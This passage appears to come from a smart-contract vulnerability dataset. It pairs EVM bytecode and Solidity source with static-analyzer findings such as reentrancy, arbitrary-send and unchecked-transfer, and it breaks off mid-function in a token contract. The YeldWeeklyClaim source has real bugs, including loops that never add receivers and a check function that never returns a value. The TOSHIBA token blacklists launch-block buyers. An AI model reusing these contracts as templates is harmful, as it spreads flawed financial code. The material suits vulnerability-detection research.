15081118080156114685750601a54600160a81b900460ff16155b80156114825750601a546001600160a01b03868116911614155b80156114975750601a54600160b01b900460ff165b80156114bc57506001600160a01b03851660009081526006602052604090205460ff16155b80156114e157506001600160a01b03841660009081526006602052604090205460ff16155b15611541576013546000901561151c57611511606461150b6013548661196e90919063ffffffff16565b906119f0565b905061151c81611a32565b61152e61152982856121b3565b6117f4565b47801561153e5761153e47611736565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061158657506001600160a01b03831660009081526006602052604090205460ff165b806115b85750601a546001600160a01b038581169116148015906115b85750601a546001600160a01b03848116911614155b156115c5575060006116ea565b601a546001600160a01b0385811691161480156115f057506019546001600160a01b03848116911614155b1561164b576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a54900361164b576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561167657506019546001600160a01b03858116911614155b156116ea576001600160a01b038416600090815260046020526040902054158015906116c757506018546001600160a01b03851660009081526004602052604090205442916116c49161219b565b10155b156116dd57600b54601155600c546012556116ea565b600f546011556010546012555b6116f684848484611a3f565b50505050565b600081848411156117205760405162461bcd60e51b81526004016107a39190611e49565b50600061172d84866121b3565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610814573d6000803e3d6000fd5b60006007548211156117d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a3565b60006117e1611a73565b90506117ed83826119f0565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061183c5761183c6120f3565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b99190612138565b816001815181106118cc576118cc6120f3565b6001600160a01b0392831660209182029290920101526019546118f29130911684610f35565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061192b9085906000908690309042906004016121ca565b600060405180830381600087803b15801561194557600080fd5b505af1158015611959573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826000036119805750600061070a565b600061198c8385612155565b905082611999858361223b565b146117ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107a3565b60006117ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a96565b6108843061dead83611059565b80611a4c57611a4c611ac4565b611a57848484611b09565b806116f6576116f6601454601155601554601255601654601355565b6000806000611a80611c00565b9092509050611a8f82826119f0565b9250505090565b60008183611ab75760405162461bcd60e51b81526004016107a39190611e49565b50600061172d848661223b565b601154158015611ad45750601254155b8015611ae05750601354155b15611ae757565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611b1b87611c3e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611b4d9087611c9b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611b7c9086611cdd565b6001600160a01b038916600090815260026020526040902055611b9e81611d3c565b611ba88483611d86565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611bed91815260200190565b60405180910390a3505050505050505050565b600754600090819066071afd498d0000611c1a82826119f0565b821015611c355750506007549266071afd498d000092509050565b90939092509050565b6000806000806000806000806000611c5b8a601154601254611daa565b9250925092506000611c6b611a73565b90506000806000611c7e8e878787611df9565b919e509c509a509598509396509194505050505091939550919395565b60006117ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116fc565b600080611cea838561219b565b9050838110156117ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107a3565b6000611d46611a73565b90506000611d54838361196e565b30600090815260026020526040902054909150611d719082611cdd565b30600090815260026020526040902055505050565b600754611d939083611c9b565b600755600854611da39082611cdd565b6008555050565b6000808080611dbe606461150b898961196e565b90506000611dd1606461150b8a8961196e565b90506000611de982611de38b86611c9b565b90611c9b565b9992985090965090945050505050565b6000808080611e08888661196e565b90506000611e16888761196e565b90506000611e24888861196e565b90506000611e3682611de38686611c9b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611e7657858101830151858201604001528201611e5a565b81811115611e88576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461088457600080fd5b8035611ebe81611e9e565b919050565b60008060408385031215611ed657600080fd5b8235611ee181611e9e565b946020939093013593505050565b600060208284031215611f0157600080fd5b81356117ed81611e9e565b600080600060608486031215611f2157600080fd5b8335611f2c81611e9e565b92506020840135611f3c81611e9e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611f7657600080fd5b823567ffffffffffffffff80821115611f8e57600080fd5b818501915085601f830112611fa257600080fd5b813581811115611fb457611fb4611f4d565b8060051b604051601f19603f83011681018181108582111715611fd957611fd9611f4d565b604052918252848201925083810185019188831115611ff757600080fd5b938501935b8285101561201c5761200d85611eb3565b84529385019392850192611ffc565b98975050505050505050565b6000806040838503121561203b57600080fd5b50508035926020909101359150565b60006020828403121561205c57600080fd5b5035919050565b60006020828403121561207557600080fd5b813580151581146117ed57600080fd5b6000806040838503121561209857600080fd5b82356120a381611e9e565b915060208301356120b381611e9e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161213157612131612109565b5060010190565b60006020828403121561214a57600080fd5b81516117ed81611e9e565b600081600019048311821515161561216f5761216f612109565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600082198211156121ae576121ae612109565b500190565b6000828210156121c5576121c5612109565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561221a5784516001600160a01b0316835293830193918301916001016121f5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261225857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220106a9b6a7b6d394c76e99d1ddd15917dc75737cd86887fa08b03f9e816dc904064736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,160 |
0xe4fa14e9b59944843fa328e91b364e027fc42678
|
pragma solidity =0.6.2;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract PausableUpgradeSafe is Initializable, ContextUpgradeSafe {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
/// @notice To get paid weekly in YELD
/// @author Merunas Grincalaitis <hi@yeld.finance>
contract YeldWeeklyClaim is Initializable, OwnableUpgradeSafe, PausableUpgradeSafe {
mapping(address => uint256) public receiveAmounts;
mapping(address => uint256) public lastReceivedAmount;
address[] public receivers;
uint256 public paymentPeriod;
address public yeld;
function initialize(address _yeld, address[] memory _receivers, uint256[] memory _amounts) public initializer {
__Ownable_init();
__Pausable_init();
yeld = _yeld;
paymentPeriod = 1 weeks;
for (uint256 i = 0; i < receivers.length; i++) {
receivers.push(_receivers[i]);
receiveAmounts[_receivers[i]] = _amounts[i];
}
}
/// @notice Must re-add the existing receivers that want to be kept
function changeReceiverAndAmounts(address[] memory _receivers, uint256[] memory _amounts) public onlyOwner whenNotPaused {
// Reset the array
address[] memory empty;
receivers = empty;
// Re-add the elements
for (uint256 i = 0; i < receivers.length; i++) {
receivers.push(_receivers[i]);
receiveAmounts[_receivers[i]] = _amounts[i];
}
}
function changePaymentPeriod(uint256 _paymentPeriod) public onlyOwner {
paymentPeriod = _paymentPeriod;
}
function getPaid() public whenNotPaused {
require(receiveAmounts[msg.sender] > 0, 'YeldWeeklyClaim: Not a whitelisted receiver');
require(checkPaymentAvailable(), 'YeldWeeklyClaim: Not yet available');
lastReceivedAmount[msg.sender] = now;
IERC20(yeld).transfer(msg.sender, receiveAmounts[msg.sender]);
}
/// @notice To check if a payment is available now
function checkPaymentAvailable() public view returns(bool) {
receiveAmounts[msg.sender] > 0 && now - lastReceivedAmount[msg.sender] >= paymentPeriod;
}
function extractTokensIfStuck(address _token, uint256 _amount) public onlyOwner {
IERC20(_token).transfer(owner(), _amount);
}
function extractETHIfStruck() public onlyOwner {
payable(address(owner())).transfer(address(this).balance);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638f4b7fca11610097578063cf41d6f811610066578063cf41d6f814610233578063f2fde38b1461023b578063f670c1f214610261578063ff1d57521461038457610100565b80638f4b7fca146101c5578063a9a1015a146101cd578063b77a0793146101f9578063bfd772fc1461021657610100565b80635c975abb116100d35780635c975abb1461016b57806365858b9314610173578063715018a6146101995780638da5cb5b146101a157610100565b806303020e331461010557806309338b52146101215780630af7d3ae1461012b57806310b0624a14610163575b600080fd5b61010d6104b7565b604080519115158252519081900360200190f35b6101296104ec565b005b6101516004803603602081101561014157600080fd5b50356001600160a01b0316610587565b60408051918252519081900360200190f35b610151610599565b61010d61059f565b6101516004803603602081101561018957600080fd5b50356001600160a01b03166105a9565b6101296105bb565b6101a961065d565b604080516001600160a01b039092168252519081900360200190f35b6101a961066c565b610129600480360360408110156101e357600080fd5b506001600160a01b03813516906020013561067b565b6101296004803603602081101561020f57600080fd5b503561076a565b6101a96004803603602081101561022c57600080fd5b50356107c7565b6101296107ee565b6101296004803603602081101561025157600080fd5b50356001600160a01b0316610960565b6101296004803603604081101561027757600080fd5b810190602081018135600160201b81111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460208302840111600160201b831117156102c457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561031357600080fd5b82018360208201111561032557600080fd5b803590602001918460208302840111600160201b8311171561034657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a59945050505050565b6101296004803603606081101561039a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103c457600080fd5b8201836020820111156103d657600080fd5b803590602001918460208302840111600160201b831117156103f757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561044657600080fd5b82018360208201111561045857600080fd5b803590602001918460208302840111600160201b8311171561047957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bb8945050505050565b33600090815260c96020526040812054158015906104e8575060cc5433600090815260ca6020526040902054420310155b5090565b6104f4610d37565b6065546001600160a01b03908116911614610544576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b61054c61065d565b6001600160a01b03166108fc479081150290604051600060405180830381858888f19350505050158015610584573d6000803e3d6000fd5b50565b60c96020526000908152604090205481565b60cc5481565b60975460ff165b90565b60ca6020526000908152604090205481565b6105c3610d37565b6065546001600160a01b03908116911614610613576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b6065546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3606580546001600160a01b0319169055565b6065546001600160a01b031690565b60cd546001600160a01b031681565b610683610d37565b6065546001600160a01b039081169116146106d3576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b816001600160a01b031663a9059cbb6106ea61065d565b836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561073a57600080fd5b505af115801561074e573d6000803e3d6000fd5b505050506040513d602081101561076457600080fd5b50505050565b610772610d37565b6065546001600160a01b039081169116146107c2576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b60cc55565b60cb81815481106107d457fe5b6000918252602090912001546001600160a01b0316905081565b60975460ff1615610839576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b33600090815260c960205260409020546108845760405162461bcd60e51b815260040180806020018281038252602b8152602001806111c7602b913960400191505060405180910390fd5b61088c6104b7565b6108c75760405162461bcd60e51b81526004018080602001828103825260228152602001806111f26022913960400191505060405180910390fd5b33600081815260ca6020908152604080832042905560cd5460c9835281842054825163a9059cbb60e01b81526004810196909652602486015290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b15801561093257600080fd5b505af1158015610946573d6000803e3d6000fd5b505050506040513d602081101561095c57600080fd5b5050565b610968610d37565b6065546001600160a01b039081169116146109b8576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b6001600160a01b0381166109fd5760405162461bcd60e51b81526004018080602001828103825260268152602001806111536026913960400191505060405180910390fd5b6065546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b610a61610d37565b6065546001600160a01b03908116911614610ab1576040805162461bcd60e51b81526020600482018190526024820152600080516020611179833981519152604482015290519081900360640190fd5b60975460ff1615610afc576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b60608051610b0f9060cb906080906110d3565b5060005b60cb548110156107645760cb848281518110610b2b57fe5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b039092169190911790558251839082908110610b7457fe5b602002602001015160c96000868481518110610b8c57fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600101610b13565b600054610100900460ff1680610bd15750610bd1610d3b565b80610bdf575060005460ff16155b610c1a5760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff16158015610c45576000805460ff1961ff0019909116610100171660011790555b610c4d610d41565b610c55610df2565b60cd80546001600160a01b0319166001600160a01b03861617905562093a8060cc5560005b60cb54811015610d1f5760cb848281518110610c9257fe5b60209081029190910181015182546001810184556000938452919092200180546001600160a01b0319166001600160a01b039092169190911790558251839082908110610cdb57fe5b602002602001015160c96000868481518110610cf357fe5b6020908102919091018101516001600160a01b0316825281019190915260400160002055600101610c7a565b508015610764576000805461ff001916905550505050565b3390565b303b1590565b600054610100900460ff1680610d5a5750610d5a610d3b565b80610d68575060005460ff16155b610da35760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff16158015610dce576000805460ff1961ff0019909116610100171660011790555b610dd6610e8f565b610dde610f2f565b8015610584576000805461ff001916905550565b600054610100900460ff1680610e0b5750610e0b610d3b565b80610e19575060005460ff16155b610e545760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff16158015610e7f576000805460ff1961ff0019909116610100171660011790555b610e87610e8f565b610dde611028565b600054610100900460ff1680610ea85750610ea8610d3b565b80610eb6575060005460ff16155b610ef15760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff16158015610dde576000805460ff1961ff0019909116610100171660011790558015610584576000805461ff001916905550565b600054610100900460ff1680610f485750610f48610d3b565b80610f56575060005460ff16155b610f915760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff16158015610fbc576000805460ff1961ff0019909116610100171660011790555b6000610fc6610d37565b606580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610584576000805461ff001916905550565b600054610100900460ff16806110415750611041610d3b565b8061104f575060005460ff16155b61108a5760405162461bcd60e51b815260040180806020018281038252602e815260200180611199602e913960400191505060405180910390fd5b600054610100900460ff161580156110b5576000805460ff1961ff0019909116610100171660011790555b6097805460ff191690558015610584576000805461ff001916905550565b828054828255906000526020600020908101928215611128579160200282015b8281111561112857825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906110f3565b506104e8926105a69250905b808211156104e85780546001600160a01b031916815560010161113456fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572436f6e747261637420696e7374616e63652068617320616c7265616479206265656e20696e697469616c697a656459656c645765656b6c79436c61696d3a204e6f7420612077686974656c697374656420726563656976657259656c645765656b6c79436c61696d3a204e6f742079657420617661696c61626c65a2646970667358221220e4172361200680357211dae0b725944ef51605bccfe4b4d79459d4c86a0c23b764736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,161 |
0xe4854949fe58bbc2fa35176bbab99d251b087dbc
|
// SPDX-License-Identifier: Unlicensed
/*
.-----. .--. .--. .-..-..-..---. .--.
`-. .-': ,. :: .--': :; :: :: .; :: .; :
: : : :: :`. `. : :: :: .': :
: : : :; : _`, :: :: :: :: .; :: :: :
:_; `.__.'`.__.':_;:_;:_;:___.':_;:_;
Telegram: https://t.me/toshibaeth
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract TOSHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "TOSHIBA";
string private constant _symbol = "TOSHIBA";
uint private constant _decimals = 9;
uint256 private _teamFee = 11;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 2;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
